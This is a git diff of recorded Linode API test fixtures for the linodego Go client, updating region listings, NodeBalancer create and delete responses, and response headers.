Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "173.230.145.5, - 173.230.147.5, 173.230.155.5, 173.255.212.5, 173.255.219.5, 173.255.241.5, 173.255.243.5, - 173.255.244.5, 74.207.241.5, 74.207.242.5", "ipv6": "1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678"}}, {"id": "us-southeast", "label": "Atlanta, GA", - "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-central", + "label": "Dallas, TX", "country": "us", "capabilities": ["Linodes", "Backups", + "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block + Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": + {"ipv4": "72.14.179.5, 72.14.188.5, 173.255.199.5, 66.228.53.5, 96.126.122.5, + 96.126.124.5, 96.126.127.5, 198.58.107.5, 198.58.111.5, 23.239.24.5", "ipv6": + "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "us-west", "label": "Fremont, CA", "country": "us", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud + Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], + "status": "ok", "resolvers": {"ipv4": "173.230.145.5, 173.230.147.5, 173.230.155.5, + 173.255.212.5, 173.255.219.5, 173.255.241.5, 173.255.243.5, 173.255.244.5, 74.207.241.5, + 74.207.242.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, + "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": + 5}, "site_type": "core"}, {"id": "us-southeast", "label": "Atlanta, GA", "country": + "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block - Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": - "74.207.231.5, 173.230.128.5, 173.230.129.5, 173.230.136.5, 173.230.140.5, 66.228.59.5, - 66.228.62.5, 50.116.35.5, 50.116.41.5, 23.239.18.5", "ipv6": "1234::5678, + Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": + {"ipv4": "74.207.231.5, 173.230.128.5, 173.230.129.5, 173.230.136.5, 173.230.140.5, + 66.228.59.5, 66.228.62.5, 50.116.35.5, 50.116.41.5, 23.239.18.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-east", "label": "Newark, - NJ", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", - "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Bare Metal", - "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": - {"ipv4": "66.228.42.5, 96.126.106.5, 50.116.53.5, 50.116.58.5, 50.116.61.5, - 50.116.62.5, 66.175.211.5, 97.107.133.4, 207.192.69.4, 207.192.69.5", "ipv6": + 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-east", "label": + "Newark, NJ", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", + "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": + "ok", "resolvers": {"ipv4": "66.228.42.5, 96.126.106.5, 50.116.53.5, 50.116.58.5, + 50.116.61.5, 50.116.62.5, 66.175.211.5, 97.107.133.4, 207.192.69.4, 207.192.69.5", + "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "eu-west", "label": "London, UK", "country": "gb", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud + Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], + "status": "ok", "resolvers": {"ipv4": "178.79.182.5, 176.58.107.5, 176.58.116.5, + 176.58.121.5, 151.236.220.5, 212.71.252.5, 212.71.253.5, 109.74.192.20, 109.74.193.20, + 109.74.194.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, + "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": + 5}, "site_type": "core"}, {"id": "ap-south", "label": "Singapore, SG", "country": + "sg", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", + "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block + Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": + {"ipv4": "139.162.11.5, 139.162.13.5, 139.162.14.5, 139.162.15.5, 139.162.16.5, + 139.162.21.5, 139.162.27.5, 103.3.60.18, 103.3.60.19, 103.3.60.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "eu-west", - "label": "London, UK", "country": "gb", "capabilities": ["Linodes", "NodeBalancers", - "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", - "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "178.79.182.5, 176.58.107.5, 176.58.116.5, 176.58.121.5, 151.236.220.5, 212.71.252.5, 212.71.253.5, 109.74.192.20, 109.74.193.20, 109.74.194.20", - "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "ap-south", "label": "Singapore, SG", "country": "sg", "capabilities": - ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", - "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed - Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.11.5, 139.162.13.5, - 139.162.14.5, 139.162.15.5, 139.162.16.5, 139.162.21.5, 139.162.27.5, 103.3.60.18, - 103.3.60.19, 103.3.60.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}}, {"id": "eu-central", "label": "Frankfurt, DE", "country": "de", - "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", - "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", - "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5, + 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "eu-central", "label": "Frankfurt, DE", "country": "de", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU + Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", + "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5, 139.162.131.5, 139.162.132.5, 139.162.133.5, 139.162.134.5, 139.162.135.5, 139.162.136.5, 139.162.137.5, 139.162.138.5, 139.162.139.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678"}}, {"id": "ap-northeast", "label": "Tokyo, JP", - "country": "jp", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", - "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], - "status": "ok", "resolvers": {"ipv4": "139.162.66.5, 139.162.67.5, 139.162.68.5, - 139.162.69.5, 139.162.70.5, 139.162.71.5, 139.162.72.5, 139.162.73.5, 139.162.74.5, - 139.162.75.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}], - "page": 1, "pages": 1, "results": 24}' + 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-northeast", + "label": "Tokyo, JP", "country": "jp", "capabilities": ["Linodes", "Backups", + "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block + Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": + {"ipv4": "139.162.66.5, 139.162.67.5, 139.162.68.5, 139.162.69.5, 139.162.70.5, + 139.162.71.5, 139.162.72.5, 139.162.73.5, 139.162.74.5, 139.162.75.5", "ipv6": + "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}], "page": 1, "pages": 1, "results": 25}' headers: Access-Control-Allow-Credentials: - "true" @@ -258,19 +264,23 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=900 - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Fri, 31 May 2024 17:28:28 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter + - Accept-Encoding X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: @@ -279,16 +289,19 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: - body: '{"label":"go-test-def","region":"ap-west","client_conn_throttle":20,"tags":null,"firewall_id":228214}' + body: '{"label":"go-test-def","region":"ap-west","client_conn_throttle":20,"tags":null,"firewall_id":501400}' form: {} headers: Accept: @@ -300,10 +313,11 @@ interactions: url: https://api.linode.com/v4beta/nodebalancers method: POST response: - body: '{"id": 441125, "label": "go-test-def", "region": "ap-west", "hostname": - "172-232-87-32.ip.linodeusercontent.com", "ipv4": "172.232.87.32", "ipv6": "1234::5678", - "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "client_conn_throttle": - 20, "tags": [], "transfer": {"in": null, "out": null, "total": null}}' + body: '{"id": 694189, "label": "go-test-def", "region": "ap-west", "hostname": + "172-105-46-160.ip.linodeusercontent.com", "ipv4": "172.105.46.160", "ipv6": + "1234::5678", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", + "client_conn_throttle": 20, "tags": [], "transfer": {"in": null, "out": null, + "total": null}}' headers: Access-Control-Allow-Credentials: - "true" @@ -316,15 +330,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "334" + - "336" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Fri, 31 May 2024 17:28:28 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -337,9 +355,12 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -355,14 +376,14 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/nodebalancers/441125/configs + url: https://api.linode.com/v4beta/nodebalancers/694189/configs method: POST response: - body: '{"id": 670343, "port": 80, "protocol": "http", "algorithm": "roundrobin", + body: '{"id": 1134763, "port": 80, "protocol": "http", "algorithm": "roundrobin", "stickiness": "none", "check": "none", "check_interval": 60, "check_timeout": 30, "check_attempts": 3, "check_path": "", "check_body": "", "check_passive": true, "proxy_protocol": "none", "cipher_suite": "recommended", "nodebalancer_id": - 441125, "ssl_commonname": "", "ssl_fingerprint": "", "ssl_cert": null, "ssl_key": + 694189, "ssl_commonname": "", "ssl_fingerprint": "", "ssl_cert": null, "ssl_key": null, "nodes_status": {"up": 0, "down": 0}}' headers: Access-Control-Allow-Credentials: @@ -376,15 +397,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "437" + - "438" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Fri, 31 May 2024 17:28:29 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -397,9 +422,12 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -415,7 +443,7 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/nodebalancers/441125/configs/670343 + url: https://api.linode.com/v4beta/nodebalancers/694189/configs/1134763 method: DELETE response: body: '{}' @@ -431,15 +459,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Fri, 31 May 2024 17:28:31 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -452,9 +484,12 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -470,7 +505,7 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/nodebalancers/441125 + url: https://api.linode.com/v4beta/nodebalancers/694189 method: DELETE response: body: '{}' @@ -486,15 +521,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Fri, 31 May 2024 17:28:31 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -507,64 +546,12 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' - X-Ratelimit-Limit: - - "800" - X-Xss-Protection: - - 1; mode=block - status: 200 OK - code: 200 - duration: "" -- request: - body: "" - form: {} - headers: - Accept: - - application/json - Content-Type: - - application/json - User-Agent: - - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/networking/firewalls/228214 - method: DELETE - response: - body: '{}' - headers: - Access-Control-Allow-Credentials: - - "true" - Access-Control-Allow-Headers: - - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter - Access-Control-Allow-Methods: - - HEAD, GET, OPTIONS, POST, PUT, DELETE - Access-Control-Allow-Origin: - - '*' - Access-Control-Expose-Headers: - - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status - Cache-Control: - - private, max-age=60, s-maxage=60 - Content-Length: - - "2" - Content-Security-Policy: - - default-src 'none' - Content-Type: - - application/json - Server: - - nginx - Strict-Transport-Security: - - max-age=31536000 - Vary: - - Authorization, X-Filter - X-Accepted-Oauth-Scopes: - - firewall:read_write - X-Content-Type-Options: - - nosniff - X-Frame-Options: - - DENY - - DENY - X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK diff --git a/test/integration/fixtures/TestNodeBalancerNode_GetInstance.yaml b/test/integration/fixtures/TestNodeBalancerNode_GetInstance.yaml index c3133087d..5fe3460b0 100644 --- a/test/integration/fixtures/TestNodeBalancerNode_GetInstance.yaml +++ b/test/integration/fixtures/TestNodeBalancerNode_GetInstance.yaml @@ -15,176 +15,243 @@ interactions: method: GET response: body: '{"data": [{"id": "ap-west", "label": "Mumbai, IN", "country": "in", "capabilities": - ["Linodes", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud - Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": - "ok", "resolvers": {"ipv4": "172.105.34.5, 172.105.35.5, 172.105.36.5, 172.105.37.5, - 172.105.38.5, 172.105.39.5, 172.105.40.5, 172.105.41.5, 172.105.42.5, 172.105.43.5", + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", + "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", + "Metadata"], "status": "ok", "resolvers": {"ipv4": "172.105.34.5, 172.105.35.5, + 172.105.36.5, 172.105.37.5, 172.105.38.5, 172.105.39.5, 172.105.40.5, 172.105.41.5, + 172.105.42.5, 172.105.43.5", "ipv6": "1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "ca-central", "label": "Toronto, CA", "country": "ca", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud + Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], + "status": "ok", "resolvers": {"ipv4": "172.105.0.5, 172.105.3.5, 172.105.4.5, + 172.105.5.5, 172.105.6.5, 172.105.7.5, 172.105.8.5, 172.105.9.5, 172.105.10.5, + 172.105.11.5", "ipv6": "1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "ap-southeast", "label": "Sydney, AU", "country": "au", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud + Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], + "status": "ok", "resolvers": {"ipv4": "172.105.166.5, 172.105.169.5, 172.105.168.5, + 172.105.172.5, 172.105.162.5, 172.105.170.5, 172.105.167.5, 172.105.171.5, 172.105.181.5, + 172.105.161.5", "ipv6": "1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "us-iad", "label": "Washington, DC", "country": "us", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", + "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium + Plans"], "status": "ok", "resolvers": {"ipv4": "139.144.192.62, 139.144.192.60, + 139.144.192.61, 139.144.192.53, 139.144.192.54, 139.144.192.67, 139.144.192.69, + 139.144.192.66, 139.144.192.52, 139.144.192.68", "ipv6": "1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678"}, + "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": + 5}, "site_type": "core"}, {"id": "us-ord", "label": "Chicago, IL", "country": + "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", + "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", + "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", "resolvers": + {"ipv4": "172.232.0.17, 172.232.0.16, 172.232.0.21, 172.232.0.13, 172.232.0.22, + 172.232.0.9, 172.232.0.19, 172.232.0.20, 172.232.0.15, 172.232.0.18", "ipv6": + "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "fr-par", "label": + "Paris, FR", "country": "fr", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", + "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans"], "status": + "ok", "resolvers": {"ipv4": "172.232.32.21, 172.232.32.23, 172.232.32.17, 172.232.32.18, + 172.232.32.16, 172.232.32.22, 172.232.32.20, 172.232.32.14, 172.232.32.11, 172.232.32.12", + "ipv6": "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-sea", "label": + "Seattle, WA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", + "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": + {"ipv4": "172.232.160.19, 172.232.160.21, 172.232.160.17, 172.232.160.15, 172.232.160.18, + 172.232.160.8, 172.232.160.12, 172.232.160.11, 172.232.160.14, 172.232.160.16", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}}, {"id": "ca-central", "label": "Toronto, CA", - "country": "ca", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", - "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed - Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.0.5, 172.105.3.5, - 172.105.4.5, 172.105.5.5, 172.105.6.5, 172.105.7.5, 172.105.8.5, 172.105.9.5, - 172.105.10.5, 172.105.11.5", "ipv6": "1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678"}}, {"id": "ap-southeast", - "label": "Sydney, AU", "country": "au", "capabilities": ["Linodes", "NodeBalancers", - "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", - "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.166.5, - 172.105.169.5, 172.105.168.5, 172.105.172.5, 172.105.162.5, 172.105.170.5, 172.105.167.5, - 172.105.171.5, 172.105.181.5, 172.105.161.5", "ipv6": "1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "us-iad", "label": "Washington, DC", "country": "us", "capabilities": - ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", - "Cloud Firewall", "Vlans", "Managed Databases", "Metadata", "Premium Plans"], - "status": "ok", "resolvers": {"ipv4": "139.144.192.62, 139.144.192.60, 139.144.192.61, 139.144.192.53, 139.144.192.54, 139.144.192.67, 139.144.192.69, 139.144.192.66, 139.144.192.52, 139.144.192.68", - "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "us-ord", "label": "Chicago, IL", "country": "us", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", - "Vlans", "Managed Databases", "Premium Plans"], "status": "ok", "resolvers": - {"ipv4": "172.232.0.17, 172.232.0.16, 172.232.0.21, 172.232.0.13, 172.232.0.22, 172.232.0.9, 172.232.0.19, 172.232.0.20, 172.232.0.15, 172.232.0.18", - "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "fr-par", "label": "Paris, FR", "country": "fr", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", - "Vlans", "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", - "resolvers": {"ipv4": "172.232.32.21, 172.232.32.23, 172.232.32.17, 172.232.32.18, 172.232.32.16, 172.232.32.22, 172.232.32.20, 172.232.32.14, 172.232.32.11, 172.232.32.12", - "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "us-sea", "label": "Seattle, WA", "country": "us", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", - "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.160.19, - 172.232.160.21, 172.232.160.17, 172.232.160.15, 172.232.160.18, 172.232.160.8, - 172.232.160.12, 172.232.160.11, 172.232.160.14, 172.232.160.16", "ipv6": "1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "br-gru", "label": "Sao Paulo, BR", "country": "br", "capabilities": - ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", - "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "br-gru", "label": + "Sao Paulo, BR", "country": "br", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", + "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.0.4, 172.233.0.9, 172.233.0.7, 172.233.0.12, 172.233.0.5, 172.233.0.13, 172.233.0.10, 172.233.0.6, 172.233.0.8, 172.233.0.11", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "nl-ams", "label": "Amsterdam, NL", "country": "nl", "capabilities": - ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", - "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": - "172.233.33.36, 172.233.33.38, 172.233.33.35, 172.233.33.39, 172.233.33.34, - 172.233.33.33, 172.233.33.31, 172.233.33.30, 172.233.33.37, 172.233.33.32", + 1234::5678, 1234::5678, 1234::5678"}, + "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": + 5}, "site_type": "core"}, {"id": "nl-ams", "label": "Amsterdam, NL", "country": + "nl", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", + "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", + "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.33.36, 172.233.33.38, + 172.233.33.35, 172.233.33.39, 172.233.33.34, 172.233.33.33, 172.233.33.31, 172.233.33.30, + 172.233.33.37, 172.233.33.32", "ipv6": "1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "se-sto", "label": "Stockholm, SE", "country": "se", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", + "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", + "resolvers": {"ipv4": "172.232.128.24, 172.232.128.26, 172.232.128.20, 172.232.128.22, + 172.232.128.25, 172.232.128.19, 172.232.128.23, 172.232.128.18, 